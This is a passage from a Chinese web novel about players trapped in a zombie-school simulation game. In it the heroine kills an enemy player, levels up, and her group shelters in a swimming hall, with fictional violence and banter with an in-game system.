邱任望顺着他的视线往后看,看到几个后排的高个子男生,不怀好意地盯着章诎。 邱任望:“你的剧情?” 章诎:“人设是个痞子,和那些体育部的男生关系不好,任务里全都是要和他们产生冲突的剧情,我现在无法脱身。” 邱任望:“那就只能等到明天到了游泳馆,再想办法对敌方动手。” 冲突和他们的权限息息相关,就算这群体育生不怀好意,也不能避开,冲突才能带来权限。 章诎:“确实只能这样了。” 介时他再帮温知初,单凭副班长一个人,人物限制太多,根本无法完成单杀。 两人沉默了一瞬,同时望向教室另一角,被将铭有意拉着聊天的顾学朗。 邱任望压低声音:“这人还在装呢,我保准他肯定看出温知初的身份了。要不然下午的时候,也不会无缘无故靠近她。” 章诎把手压在膝盖上,眼神肖似狐狸:“他们的队伍肯定有和我们不一样的权限。” “我猜…”他道,“他是Tactic位中的一个。” · 温知初依旧坐在教室的一角,安静地盯着教室中央微弱的光,不知道在想着些什么,静默到快要和黑暗融为一体。 侧脸在晦暗的光线中不明晰。 [好安静啊,副班长永远一个人待着。 ] [毕竟副班长是个被大家排挤的存在,刚才分东西吃都没有经过她虽然小温肯定不在意就是了。 ] 一道轻缓的脚步声靠近。 温知初抬眼。 顾学朗走到她身旁,手里拿着一小袋巧克力,轻声问:“吃吗?” 温知初抬手接过,语气平静:“谢谢。” 她并没有拆开,手指不轻不重地叩着上面的封条。 [这么好心,来给知知送巧克力? ] [他可是敌方的人,谁知道有没有毒。 ] 顾学朗坐下:“为什么一个人坐着?” 温知初没有回答这个问题:“下午的事,多谢。” 顾学朗:“我其实没帮上什么,我相信,就算我不出手,你也能安全度过难关的。” 温知初无言地挑了挑眉,没有反对这句话。 “也许。”她说。 两人低声交谈着,在昏暗的灯光下看上去还挺融洽,远处传来的风声将地上的报纸吹得不断发出啪啪声,仔细看,会发现二人的手都放在口袋里,似乎攥着各自的武器。 教室里始终绷着一条弦。 但因为各自的人物设定,弦只能紧绷着,不可能突然断裂。 不久后,顾学朗被人喊走,温知初点头和他道别。 顾学朗:“明天还得走动,你现在看起来太累了,还是早些休息吧。” 温知初避之不答,温和地回话:“晚安。” 顾学朗顿了顿:“晚安。” 不远处,一道视线始终落在他们周围,未曾离开。 晏逾明靠在墙边,高大修长的身影半陷在黑暗中,骨节分明的手指搭在课桌边,敲击着桌面,节奏懒散而随意,深邃的双眼沉静到可怕。 片刻后,他终于从阴影中走出,朝温知初的方向走去。 他在她身旁坐下。 温知初略微绷紧脊背:“Yu哥。” 她忍住了想要轻咳的下意识反应。 晏逾明侧过身看着她:“邱任望让我告诉你,明天到了游泳馆再动手,章诎会帮你。” “其实…”她道,“可以机动一些,我一个人也可以。” 晏逾明盯着她,语气懒洋洋的:“对方是S级。” 温知初抬眼:“你也…觉得E级不如S级?” 晏逾挑了挑眉,漫不经心地打量着她,开口:“没有。” 他道:“不过对方更有经验,没有虚弱的人物设定,武器也肯定不是木筷子。” 温知初放在膝上的手指不经意地动了几下。 她从来不是一个会被激将法影响的人,可以说性格温淡到不能再温淡了,可现在,她面对的是晏逾明——这个她表面上装作讨厌,内心却在意的人。 由于一些溯源,晏逾明对她而言,是一个非常重要的存在。 所以,她会主动解释。 温知初抬眼,语气极轻:“我能单杀他。” 哪怕在人物限制这么多的情况下。 四目相对。 少女深黑的双眼专注而认真,而男人眼中的浓墨晦暗不明,沉默了几秒后,晏逾明忽然轻笑。 他伸手,放在她脑袋上的卫衣帽子揉了一下,声音低沉而缓:“行。” 他说:“那你也注意安全,别死了。” 温知初略微睁大双眼,整个人僵住,帽兜下的脸,瞬间染上一层微不可察的红晕。 耳尖快要烧起来了,她迅速低下头。 034号很不应景地开口:[宿主,男主的杀意值可是一直居高不下呢。 ] 034号:[他这句话的意思肯定是——别死了,我得亲手杀死你。 ] 温知初不在意这些,她只是垂首,手指紧了紧。 她道:“好。” “我不会的。” · 凌晨2:30。 窗帘厚厚地笼罩住窗户,教室内温度依旧很低。 实在太困了,不少同学在恐惧中抵挡不住疲惫,半梦半醒地睡过去,黑板上歪歪扭扭的粉笔字写着“我们一定要活着”。 有的人睡在铺着报纸和作业本的地上,有的人睡在拼凑在一起的课桌上,睡得都很浅,偶尔有人还会应激地在睡梦里抽筋。 暗处,温知初独自落座,闭目养神,背脊靠墙,窗外传来远方丧尸在建筑中游撞的声响,死亡以极快的速度肆虐于这座校园。 近处,有脚步声响起。 轻、迅速。 一道风陡然在暗处掠过。 温知初睁开眼,侧过身,避开那道快要划到她喉咙的风,军刀划空,沿着空气擦落而过,刀侧离她的脖颈原只有咫尺。 是顾学朗。 顾学朗有些惊讶地抬头,一眨眼的功夫,看似虚弱的温知初已然悄无声息地退到了窗台前,略微躬身,深黑的双眼默默地盯着他。 两人于无人注意的角落处,有若默剧。 温知初的身体略显慵懒地倚靠在窗户上,低声道:“你的权限是可以脱离剧情?” 他的出现已然显而易见地成为了这个问题的答案。 一个正义的角色,无缘无故地拿刀伤人,这显然脱离了剧情逻辑。 顾学朗依旧有些惊楞,他以为温知初不会察觉的,毕竟他的身手在S级里都算是极快的,鲜少有人能在松懈时察觉到他,可她不仅察觉到了,还精准地避开了这一刀。 看来TRES的新队员确实不简单。 他利落地收回军刀:“你不害怕吗?” 温知初站直身,往前走了几步,她注意到顾学朗没有继续动手:“你的剧情权限有时间限制?还是次数限制?” 短时间他应该无法动手了。 顾学朗避开回答,打量眼前少女苍白的脸色和侧脸的血迹:“你太年轻,而且人物设定也太虚弱,我知道你抽到的武器是什么…” 他的语气里有分析后的笃定:“你杀不了我的。” 温知初:“你知道我的武器是什么…看来你们队伍的权限比我们的要多。” 顾学朗耸耸肩,顾左右而言其他:“虽然你是个负面角色,比我们这些正面人物更容易动手,但你动手的同时…” 他的语气里带上警告:“我会反杀你。” 温知初像是没听到这句警告。 我们这些正面人物? 温知初:“你们队还有其他正面人物?” 顾学朗再次耸耸肩:“那就要看看你们能不能找的出来了。” 他没有多留,在教室里的其他人察觉到动静前,缓慢地退回自己的位置躺下。 温知初盯着那个方向看了片刻,收回眼神,重新坐回墙边。 黑板上方的钟表,一分一秒地往后挪动。 · 凌晨4:30 黑暗中,细细簌簌的声音再次浮现。 顾学朗手持军刀,无声无息地站起,步子有多轻,走得就有多快。然而,这一次,他没能靠近温知初落座的地方。 晏逾明从晦暗处中走出,站在他身前。 高大的身影慢悠悠地往前走,一步、两步、三步。 顾学朗步步后退。 晏逾明没有拔刀,没有抬手,双手插在兜里,淡漠地看着他。 顾学朗莫名觉得被压迫。他是一名身经百战的老队员,能清楚地感觉到眼前这个男人比他更危险。 晏逾明:“你的权限,两个小时开一次?” 顾学朗沉默。他的行动轨迹已然宣告了这一点,无论回答还是不回答,都是对这个问题的承认。 晏逾明:“这么晚了,不休息?” 他的下巴散漫地点向远处温知初坐着的方向:“你不休息,那个未成年还得长身体。你很吵。” 字里行间毫无起伏,冷漠意味分明。 顾学朗听明白了意思,他很懂得审时度势,看到已经有几个同学快要因为这儿的动静醒来如果他们真醒过来,看到他手上拿着刀在跟人争执,就违背他的人物设定节点了。 顾学朗把刀收回去,立即离开。 夜色中,温知初睁开双眼,望向晏逾明的方向,她的下巴有些红,像是被窗外的风冻出来的。 034号:[宿主,男主的实力真的高深莫测啊,他真的很厉害。作为一个要杀你的人,你不害怕吗? ] 温知初淡淡的,依旧看着Yu的那个方向:“我为什么要害怕他。” 034号:[算我多问,他是你的偶像,你肯定崇拜他的战斗力。 ] 温知初平静地回答:“对于我来说,他确实是模范般的形象,但我在意他,从来不是因为战斗力这一点。在这一点上,我并不觉得自己弱于任何人。”哪怕她只是个E级。 034号顿了顿:[真的假的? ] 它知道自家宿主不是一个会说大话的人,但还是保持怀疑态度,这可是晏逾明啊,《深渊》的男主啊。 温知初只有在晏逾明相关的事上,话比往常多。 温知初:“我只是性格比他钝,实力并不比他差。” 034号心想,相比于男主,宿主的性格确实要温和太多,看上去显得无害。 对于实力强弱这件事, 034号没放在心上,它更感兴趣其他事: [那你到底又因为什么如此在意他?之前说过不是因为男女之情,现在又说不是因为实力,到底是什么溯源… ] 温知初没再回答。 因为她看到晏逾明回头,朝她看来,神色莫辨,比了个无声的口型:“不睡?” 视线对上的那一刻,温知初的唇线抿平,下意识想要回话。最终,她还是克制住,只是略微颔首,回应了一个点头。 温知初缓缓地靠回墙壁,闭上双眼,颀长白皙的手指摸向自己颈间的灰绳。 第23章 凌晨5:00。 窗外依旧昏黑,趁着太阳还没升起来,外面的丧尸还没有那么活跃,学生们基本都醒了,整理穿戴,准备出发离开教室,离开这栋教学楼。 高三四班虽然目前是安全的, 但谁也不知道会不会有更多的丧尸涌过来, 待在这里,物资很快就会耗尽, 而且已经变形的木门显然也防守不了太长时间。 高三四班,是一罐随时都有可能被丧尸掀开盖儿的肉罐头。 晏逾明站在教室前:“我们必须离开了。” 大家都很听从班长的安排,晏逾明说要去游泳馆,中间虽然出现了争议,但大多数人愿意跟着一起过去。 也有不愿意出去冒险的, 他们组成另外的队伍,从高三四班这个群体里分离出去,决定一起留在教室里。 逃生的最终目的是前往离教学楼最远的礼堂,逃到天台上, 那里有向天空飞行物呼救的机会。 这也是当下唯一能逃脱校园的办法了。 将铭开口:“不过我们不可能一口气穿过这么多尸群到达礼堂,今天的目标,就是先到达游泳馆,那里一楼有小卖部和洗浴休息的地方。” 他道:“我们出去的时候, 就按照班长说的队型, 有余力身高体强的走在队伍的前后两端, 其他人走中间,前后两端的尽量用长武器驱赶丧尸,千万不能被丧尸冲散了。” 明确目标后,教室内没再有争议声。 凌晨5:03。 教室门被悄然推开,走廊黑漆漆的,远处丧尸在楼梯口游荡,开门的同学先是立即关上门,平复好心情,深吸一口气,再次打开门:“走。” 众人屏息,缓慢地踏出第一步,而后按照队型,立马快步往楼道走! 丧尸被气息惊动,发出嘶哑的低吼,晃晃悠悠地扑来。 有过昨天的逃生经历,同学们艰难而生涩地用长杆、书包驱赶目前数量还不算多的丧尸。晏逾明走在队伍后端,单手拎起<深渊>分配的钢管儿,不紧不慢地驱赶围拢而来的丧尸。 丧尸被钢管儿削掉了半个头颅,黑色的血液喷洒向地面。 作为虚弱的一分子,温知初走在队伍中间,跟随队伍从二楼一直走到一楼,看向队伍后方的顾学朗。 到达教学楼的一楼后,她的步伐愈发慢,越来越靠近顾学朗,仿佛只是因为疲惫而掉队。 凌晨5:20。 大家终于逃离教学楼,队伍沿着校园的小道前进,空气中弥漫腐臭的血腥味,路灯下,全然是一路拖行的血迹。 一路上,丧尸三三两两游荡,数量比刚才多些。 众人紧握手中的武器,指节发白,按照队型快步往前跨步跑,丧尸只会越来越多,他们必须要加快速度。 一路狂奔,遇到超过五个以上的丧尸堆无法一下驱散,只能竭力杀了,再继续往前行进。 学生们校服上都是血污,他们听从班长的安排,尽量不发出尖叫,不吸引来更多的丧尸。 温知初再次放慢脚步,她已经慢到和后方的顾学朗只剩下前后脚的距离。 她虚弱地喘着气,步伐踉跄,险些摔倒。 手,精准地攀住顾学朗的手腕。 顾学朗早就注意到温知初的靠近,因为热心善良的人物设定,不得不扶住她:“你没事吧?” 两人目光对视,没有任何温情。 两个高三生并肩而行,顾学朗扶着副班长的手腕,力道十分大。 顾学朗皱眉,低声道:“记住,你动手的同时,我可以反杀你。” 温知初拖着步子走,语气平静:“知道。” 顾学朗语气中有嘲笑:“你有几年作战经验?” 温知初:“一天。” 顾学朗:“我已经十年了。” 他按照剧情人物设定扶着副班长,一路躲避丧尸。 温知初看了他一眼,语气不轻不重:“那你看上去挺年轻。” 顾学朗:“……” 凌晨5:40。 平常用几分钟就能走完的小道,大家走了有二十几分钟,一路艰难地绕向东南方,快到达教学楼和游泳馆之间的食堂坐标。 但与此同时,眼前的道路猛然被大量丧尸占据,后方同样有尸群涌来。 只能突围出去。 将铭站在晏逾明后,开口:“前面的人和班长一起去引开丧尸,其他人按照队型继续往游泳馆方向跑。” 前面的几个高个儿一咬牙,和将铭一起跑出队伍,紧跟在晏逾明身后。 棒球棍、撬棍、书包、长杆,大家力所能及地拿武器突围。死亡的威胁面前,阵型终究被惊恐的人群给打乱了,站在队伍最前面和最后面的人都不敢直面一下激增的丧尸,向四处逃窜。 队伍打乱后,丧尸顿时找到了突破口,大量地涌入人群的间隙。尸群和人群混在了一起,就算丧尸的行动再缓慢,但数量多到一定程度,没有队型的护佑,学生们前后被夹击。 很快,不少人倒地,在惨叫声中被拖走。 脖子、腹部、断臂,头颅,新鲜的血肉被啃食。 尖叫声吸引过来更多的丧尸,从校园上方俯瞰,这一片,有若挣扎的虫群,或早或晚都会被蜘蛛网给吞噬殆尽。 场面大乱。 正义的班长晏逾明依旧守则地保护身后的同学,替人群开路,但听着学生们的呼救声,他眼中的冷漠并没有丝毫情绪波动,钢管捅入刚刚还是同学、但现在已经丧尸化的脑袋里,很快地收回。 整个过程中,在挤挤攘攘的人群中,顾学朗和温知初都在并肩而跑,顾学朗扶着温知初手腕的力道越来越大。 两人对视着。 踉跄的人群中,作为一个虚弱的剧情人物,温知初顺理成章地被磕绊、摔倒,在顾学朗的注视下跌落在地,膝盖磕破皮,渗出血珠。 身后,几十个丧尸跌跌撞撞走来,快要淹没她的背影。 她仰起脸,语气虚弱,但注视着顾学朗的双眼平静:“救我…” 顾学朗顿了顿,热心善良的人物逻辑让他无法见死不救。 原来在这里等着他,这个新队员胆子倒是大。 他的脸上勾起冷笑,在人群的注视下,转身跑向温知初:“抓住我的手!” 温知初伸出纤瘦的手腕,于他话音未落间拽住他的手腕,颀长的手臂施力,一瞬间,将人拽入了丧尸堆中。 一片狼藉中,众人只见温知初和顾学朗二人都被丧尸堆给掩埋了,不见人影。 顾学用见状,这才停下逃命的脚步,大喊:“哥!你别救她!” 他道:“你快自己逃出来!你还得保护我呢!” 就在此时,丧尸堆里响起了丧尸啃咬鲜活身体的响动。 谁被咬了? 队伍陷入了短暂的停滞,望向那片疯狂涌动的丧尸群。 走在队伍后方的晏逾明和章诎停下脚步,交换了一个眼神。 邱任望脸色惨白:“小温怎么这个时候动手了…要是她没了,我回去怎么跟教练交代啊…” 作为一个独善其身的角色,剧情限制了他奔向尸群的脚步。 丧尸堆里传来温知初和顾学朗的呼救声。 顾学用害怕地往校医身后躲。 外人不可见的丧尸堆里,青黑的手从四面八方挤压而来,腐臭铺面。 顾学朗不明所以地睁大双眼,已经快要无法呼吸,眼睛中尽然惶然,仿若不知晓自己怎么就这么死了。 他只记得,死之前,一股莫大的力量从身后拽住他,无论他如何挣扎都无法动弹,他从未感受过那种碾压级的压制,就像钳住虫子一样钳住他。 而后,一只木筷子利落地从他的太阳xue贯穿。 顾学朗的大脑一片空白,如同突然被拔掉电源的机器。 温知初抱着他的脑袋,轻轻地把被贯穿太阳xue的头颅放到地面。 她深黑的双眼平静和沉默,脸上还有伪装出来的虚弱和惶恐,手作力,将木筷子唰得拔出来。 白皙的脸上被溅上血,温知初拿回筷子,语气有些失望:“他没有数据核啊…” 与此同时,躲开了身侧的丧尸。 尸群中动静小了。 因为班长停下了脚步,班级同学也不由地暂时停靠在这片树下,害怕地往尸堆里看。 谁、谁死了?还是…都死了? 有人说:“班长,丧尸都被吸引走了,要不、我们趁着现在,先走吧…” 话音落地,丧尸堆蠕动着,一个身影踉踉跄跄地走出来。 温知初。 她的脸色苍白到几乎透明,身后丧尸围成一团,贪婪地啃食地上尚未彻底凉透的尸体。 血肉溅了一地。 半空响起只有参赛队员听到的电子音。 [敌方[未命名]队伍死亡一位主Tactic位。 名字:顾学朗。 体能等级:S;幸运等级:A;道德等级:D。 权限:速度;剧情脱离。 从属:联邦监狱。 ] 原来是联邦监狱的人,怪不得是生面孔。 温知初往外走,膝盖上的血往下流,漆黑的双眼佯装着茫然:“我…” 晏逾明迈步走过去,扶住她快要跌落的身影。 同学们的视线齐刷刷地落在她身上,神色复杂,有人怜悯,有人怀疑,但更多的是…厌恶。 “为什么死的不是她?” 顾学用把众人的想法直接喊出了声。 温知初因为晏逾明的靠近顿住步子,作为一个拖累同学的人,她必须看起来虚弱、害怕、充满愧疚。 她看着众人的眼神,往后退。 晏逾明的手掌抵住她的后背:“不是你的错,你只是想活着。” 副班长忍住甩开班长手的冲动,因为此时只有她素日讨厌的班长还站在她身边。她默念:“不是我的错…” 温知初埋着脑袋,脸上斑驳未干的血迹,深黑的双眼里,其实只有平静,恰如晏逾明眼中的毫无波澜。 第24章 这些事都发生在非常短暂的时间内,大家并没有停留、让情绪发泄的功夫,趁着丧尸群安静的这几秒,立即开始往前跑。 游泳场馆近了。 一群人夺路而逃,喊着体育委员赶紧把游泳馆的钥匙拿出来,他们在门前围成一个半圆,把聚拢过来的丧尸群往外顶,确保体委有开门的机会。 将铭立即从兜里把钥匙掏出来。 游泳馆侧门在仓促间被推开, 学生涌进来,同时转身用棍子把成群想要涌进来的丧尸往外用力推, 齐力动手, “啪”得关上门,用锁链层层地绕住门锁。 玻璃门比较脆弱, 大家还是不放心,把柜子挪到门前堵上两边。 丧尸在玻璃门外用力地拍着门,嘶吼的脸印在门上,慌乱间,有人撞倒了门旁的大镜子,玻璃渣子在地上碎成一片,没人有功夫去管。 做完这一切后,大家劫后余生地坐到地上,大喘着气,不敢去看身后玻璃门外一堆又一堆的丧尸。 游泳馆内特有的氯水味在封闭的空间内飘荡,大家的校服上都是血,有的被溅上了脑浆,几个人用额头抵着墙,强忍呕吐的欲望。 来的时候四十个人,现在只剩下二十几个, 气氛沉默了许久,才逐渐再有了声音。 “幸好昨天一整天游泳馆都没开放,要不然里面肯定也被丧尸给占据了。” “也幸好咱们班将铭是体育委员,他有钥匙,这里…应该算是最安全的地方了吧。” “我现在想一辈子待在这里。” “现在先去东边那个便利店看看吧,我快饿死了。” 游泳馆一楼有便利店,但拉着卷帘门,没有人有钥匙,大家想办法撬开。 “实在不行砸开。” 另一端。 温知初坐在泳池旁的休息椅上,从刚才开始,她的耳畔不停响起<深渊>的电子音。 [恭喜玩家温知初完成关键剧情背叛救你的人,脱离人物设定控制。 ] [恭喜玩家温知初成功戮杀敌方一人。 ] [恭喜玩家温知初获得丰厚体能和战斗经验。 ] [正在计算经验中…] [恭喜玩家温知初由E-6升级为E-86。 ] …… 034号:[!] 034号:[宿主,你终于升级了! ] 这百年不动的战斗力体能条,终于动了…不仅动了,还一动就是一大截。 恭喜升级的声音效果音不停在半空中响动。 034号和宿主是绑定关系,宿主升级后,系统也升级了,它消化着能量。 约莫半个小时后,升级完成后的034号百感交杂地再次出现。 这次升级,让它发现了一个大秘密。 它终于明白为什么宿主为什么要加入战队了。 034号:[宿主,原来你升级的源泉和其他人不同。 ] 其他人升级靠的是体质锻炼、战斗和比赛,但是宿主升级靠的是…剧情。 在《深渊》剧情里,唯一和宿主有联系的人物便是男主,只有靠近男主,宿主才能从与他的互动中,获得升级的源泉。 所以宿主之前才一直卡在E级。 034号:[宿主,是这样吗? ] 温知初安静地坐在休息椅上:“对一半。” 034号:[一半?不可能啊,升级后的数据库探查到的就是这个原因。 ] 但它知道宿主不会说假话,也不会告诉它错的那一半到底错在哪里,毕竟它从属于老东家,只要老东家活着,就有可能把它收回去重新利用的可能性。 034号: [宿主,我也能明白你为什么希望和男主保持疏离的靠近了,你不希望他太亲近你,对你产生杀意之外的好感,是因为这样你就有可能会过度汲取他的能量,会导致一些不好的结果,对吗? ] 温知初这次没有否认:“嗯。” 034号对于这一点已然不会觉得可惜了,毕竟哪怕没有这个原因,宿主也不会去攻略男主。 因为它这段时间算是看明白了,就论宿主这诡异的升级体系,她极大可能不是个人,起码不是传统意义上的人。 不是人,怎么可能会对他人产生思慕之情呢。可能连喜欢爱是什么都不知道什么意思。 就跟它一个系统不可能爱上人类一样。 034号: [宿主,升级体系是统一的,哪怕是个动物也得按照常规的深渊升级体系来,为什么独独你的与他人不一样? ] 温知初还在看那些努力想把卷帘门撬开的学生:“以后告诉你。” 034号好奇心被提起来了:[宿主,多久以后啊? ] 温知初:“等我能控制寄宿在我身体里的系统以后。” 034号顿时噤声,没有再说话。 · 脱离剧情人设后,温知初的脸色不再那般苍白,不过她依旧喜欢独自待着,在游泳池边观察着人群。 她望向便利店的方向。 一群学生没有趁手的道具,无论怎么撞、扯、踢都没办法打开卷帘门。 动静太大了,游泳馆门外显然聚集来更多的丧尸,大家不敢再发出这么激烈的动静,气喘吁吁地坐在卷帘门前,一脸束手无策的模样。 温知初看了会儿,人群安静后,她站起身,走向卷帘门,众人不明所以地望着她。 她闷声蹲下身,颀长的手指攥住门底端,手臂略微绷紧,“咔”的一声,锁扣断裂,卷帘门被她一声不发地拽起,金属曲张声在封闭的空间尤为清晰。 锁片弹飞了出来,铛得掉落在地面。 众人怔怔地望着。 温知初没有说什么,等众人反应过来时,她已然离开了。 有人低头望向地上被拽崩的锁:“这、这…”难以置信。 温知初坐回游泳池旁,终端弹出不少TRES群消息,都在@她。 [你脱离剧情控制了? ] 温知初回复。 Wen:[我的主要剧情任务是背叛救过我的人,我已经完成了。 ] 这句话打出来后,置身于人群中的晏逾明若有所感地朝游泳池的方向看了一眼。 Q:[天呐,在单杀敌方的同时完成了剧情任务,好棒啊小温。 ] 诎: [恭喜。 ] 群里一通彩虹屁,跟哄小孩儿似的。 邱任望尤其羡慕,发来私聊: [我的关键剧情还没有触发,只有节点。再这么面瘫下去,我都要快忘了怎么笑了,这人物设定真就一句话都不让我说,跟个哑巴一样,再不脱离人设我真的要疯。 ] Q : [我估计你的偶像也快了,我总觉得他现在的笑里都带着抽搐。 ] 温知初反应了会儿,明白过来邱任望指的偶像是将铭。 034号插话:[这个误会估计得持续很久了。 ] 远处,卷帘门内的便利店被同学们席卷,大家饿了很久,惊恐让人暴食,他们争先恐后地扫荡货架,席地而坐,吞咽着即食产品。 本来有人想去沐浴间洗澡,但他们发现水管里堵住了异物,一开水阀就往外淌血水,大家赶紧把水阀关上,封上沐浴间。 洗手间的水龙头倒是还能勉强用,只有一个公用的水龙头,大家排队等候。 受伤得比较严重的人,也顾不上吃东西了,聚集到校医身旁请他帮忙处理伤口。 校医皱起眉头,语气中有愁意:“纱布和酒精快不够用了。” 温知初靠坐在游泳池旁的座椅上,日光倾泻,照在她身上,有种和这个丧尸世界割裂的慵懒,但看到晏逾明走来后,她有些不自然地坐直身。 晏逾明坐下:“不饿?” 温知初顿了顿,轻声道:“不想吃。” 034号悄悄开口:[她可不是吃寻常食物的人。 ] 晏逾明看了她一眼,没有多言,将一瓶草莓牛奶递到她身前。 晏逾明:“只剩下这个味道。” 光影在牛奶瓶上浮动,温知初接过瓶子,牛奶瓶还是温的,应该在便利店的微波炉里被热过,她愣了愣,道:“谢谢。” 晏逾明看着她喝了一口,不知用意地问:“比起上次给你的原味,你更喜欢哪个味的牛奶?” 温知初思考了会儿:“草莓味。” 034号再次不合时宜:[男主对他要杀的人真好啊,估计养肥了更好宰。 ] 游泳池旁再次恢复沉默,寂静悄无声息地在日影间蔓延,在游泳池的水面上跳动。 温知初沉静地喝着草莓牛奶,视线盯着地面上凝固的血迹。 游泳池旁的水看上去很是纯澈。 晏逾明开口:“顾学朗是联邦监狱的人。” 温知初:“嗯。” 她道:“我听到了。” 晏逾明问:“他有没有什么异常?” 温知初颔首:“他的脑袋里没有数据核。” 游泳馆的棚顶是半透明的,阳光很尽然地透过,喷洒而下。 晏逾明身体略微往后倚:“知道联邦监狱是什么?” 温知初:“知道。” 她道:“是<深渊>的原属机构,用来收集道德不达标的人,训练、组建不公开的战队。” 晏逾明点头,目光沉沉:“知道顾学朗的脑袋里为什么没有数据核么?” 只有一个可能。 温知初喝了一口牛奶,平和道:“他不是人。” 应该算是电子尸体了…就如同这个丧尸世界的丧尸一般。只不过他的尸体被<深渊>扩大了行使权限,可以参与SS赛。 以电子尸体充当敌方的队员,这其实很不公平。 晏逾明望向她:“觉得不公平?” 温知初轻轻颔首:“有些。”她又道:“但我知道, <深渊>本身就是不公平的。” 丧尸校园的混乱只是一个开端,以电子尸体充当战队成员也只是一个开端,毕竟<深渊>是一片用秩序和比赛规则来掩盖恶意的电子废土,会用尽一切办法毁灭活人的魂灵。 恰如《深渊》对其主角的恶意一般。 温知初缓慢地喝着草莓牛奶,不经意望向自己膝盖的伤口,看起来有些严重,不过她并不在意。 晏逾明也看向少女的膝盖,视线停留了很久,他淡漠地移开视线。 二楼楼梯口,传来小心翼翼的脚步声。 温知初回头望去。 她的膝盖还在流血,白皙的膝盖和鲜红的血形成对比,血缓慢地往下流淌,和草莓牛奶的颜色很像。 第25章 “楼上有人!” 高三四班的同学们站起身,警觉地聚集在一起,抬头往二楼的楼梯口看。 游泳馆一共就两层楼,原来以为因封馆而空无一人的地方, 二楼凭空多出许多人。 十几个身影停留在楼梯上,动作迟疑,带着戒备,和楼下的学生们紧张地对望,彼此都在确认对方是否是人。 是活人,不是丧尸。 二楼的十几个人同样是学生,他们穿着体育部的训练服,男女对半,应该都是体育部的人。身上衣服很干净,应该没有怎么经历过暴动中的逃生。 楼上楼下的人互相交换眼色,经过短暂的沉默, 双方确定彼此的身份,空气中的紧绷感这才缓和下来。 两方的人中,显然有人互相认识,已经开始喊对方的名字。 “你们怎么在这儿?吓死我了,以为二楼有丧尸。” “你们才吓死我们了,我们老早就躲在这里了,一楼哐啷响,我们还以为丧尸闯进来了。” 体育部的人走下来, 一共有十三人。 为首的看起来是人群的主心骨, 是个个头最高寸头男生, 有人认出他是篮球部的部长陈里阳。 他环视一楼的人,目光落在高三四班的体育委员将铭身上,眼神变得凶狠。 温知初站在人群后方, 注意到这个眼神。 陈里阳似乎和将铭的剧情有所关联。 双方人群坐下交流。 高三四班:“昨天不是封馆了么,你们怎么进来的?” 体育部有人回话:“我们之前经常来这儿训练,知道二楼有个窗户没关,我们没有钥匙,是翻窗进来的。” 他们又说:“放心,窗户已经锁了。” 将铭:“我们还没去二楼看,等会儿我们一起上去看看,确保所有的门窗都关着。” 陈里阳的视线再次落在将铭身上,更为不友善。 其他人察觉到两人之间的异样,疑惑地看向他们:“你们认识?” 将铭点头:“认识。” 陈里阳冷笑:“何止认识?他的爸爸还是我们篮球部的主教练。” 他紧接着提高嗓门:“你爸的事,你难道不知道吗?” 将铭先是疑惑,而后皱起眉,猛地起身:“我爸怎么了?” [第一次在将队脸上看到这么多表情。 ] [将队竟然有演技。 ] 陈里阳语气冷硬,一字一顿道:“你爸是学校里丧尸爆发的源头。” 将铭:“你说什么?” 陈里阳当时和其他部员一起到操场,往仓库里找失踪的两位队员,见证了校园丧尸动乱的起源。 而那时,校门外也出现了丧尸暴乱。 再后来校门紧闭,丧尸越来越多,他们一群人逃到了游泳馆躲着。 “你爸早就回来了,他死了,变成了丧尸。”寸头冷笑,“你不会真以为他还在外地旅游吧?” 陈里阳和将铭本来关系就不好,这下,把所有事儿都算在了将铭头上。 “死了…我爸…怎么可能…”将铭的眼睛倏然睁大,眼白出现红血丝,他像是被棍子打了一般,嘴唇嗫嚅,似乎反驳什么,“不可能,不可能…” [这演技!这剧情! ] [将队演技真好啊,以后再也不说他是天生面瘫了。 ] [真是活久见,能看到TRES的队员给我们演戏。 ] 将铭和陈里阳差点争吵起来,被双方人拉住,气氛变得紧绷起来,眼见着就要起冲突,一直沉默着的班长站起身。 晏逾明开口:“别起没必要的内讧。” 声音淡漠,有着不容置疑的分量。 游泳馆内重新安静下来,因为将教练的事,压抑的情绪在人群中弥散。 新来的体育部成员走向便利店,开始翻找食物,一开始他们翻腾货架的声音十分大,几个羽毛球部的女生朝男生使眼色,让他们注意些,这才没了故意折腾的嘈杂声响。 包装袋被撕开的动静很清晰,体育部的人狼吞虎咽。 陈里阳的表情一直很难看。 他块头大,一直是人群的领袖,但是来到这里,他显然觉得被那个高三四班的班长压了一头,晏逾明话不多,但没人会违抗他。 他咀嚼着袋子里的面包,把包装袋扔到地上。 高三四班的人聚在将铭身边:“别太难过,外面早就丧尸化了,源头未必是校园内…你爸很可能也是受害者。” 他把自己绑在仓库里,显然也不想出来伤害、感染他人。 他们说着说着,各自想到自己在外面的父母,恐怕也是凶多吉少,语气顿时萎靡。 另一边,陈里阳走到校医面前,随意往他面前一坐,面对长辈老师语气毫无敬意:“给我上药。” 校医皱眉看了他一眼,最终没有说什么,开始处理伤口。 将铭还站在原地,整个人像是失 去了意识一般,目光空洞,面色灰白。 [这演技绝了…] [今年奥斯卡没有将铭我不看。 ] 温知初观察了会儿人群,从远处走来,走向将铭,她轻声开口,礼貌地没看将铭的脸:“没事吧?” 将铭周身的情绪看上去不像是假的,虽然双眼没有泪水,但表情里确实有悲伤。 将铭回神。 温知初的剧情任务都完成了,不再受人物设定限制,将铭在她身旁,也能短暂地脱离人物限制,他开口,神情恢复成平日的面无表情,像个长辈一样开口:“你穿这么点不冷吗?受伤了?去校医那里处理处理。” 温知初没有回答,只是平静地看向他。 将铭叹了口气,低声道:“不用在意,我没有陷进剧情里…只是想起了些往事,我现实生活中的父亲,在我很小的时候就死了。” 温知初抬手,轻轻拍了下将铭的后背。 将铭愣了愣,而后笑道:“小大人。” 温知初在他眼中完全是个小孩儿,也只有这个年龄,喜欢双手插兜,有着不自知的、略显中二的少年气,安慰人的时候倒是会把手从裤兜里拿出来。 不过温知初确实…有种温和气质的早熟和责任感。 “别伤心。”温知初把手重新放回裤兜,平和地安慰,“我也是,我没有爸妈。” 将铭:“……” · 校医那里依旧排着队,学生们努力控制因疲惫和疼痛产生的烦躁,酒精消毒气味和游泳馆的氯味交杂在一起。 让人头脑发胀。 温知初离开将铭后,听到身后不远处有人轻咳一声。 邱任望望着她,不动声色地使了个眼色。 温知初略微挑眉,明白他的意思,走了过去。 邱任望站在走廊尽头,温知初走到他身边,并排站下,后背倚靠墙,这里比游泳馆中心要安静些。 邱任望对于温知初的到来轻吐一口气:“有你在我旁边,终于可以暂时脱离人设了,再这样下去,我真的要面瘫了。” 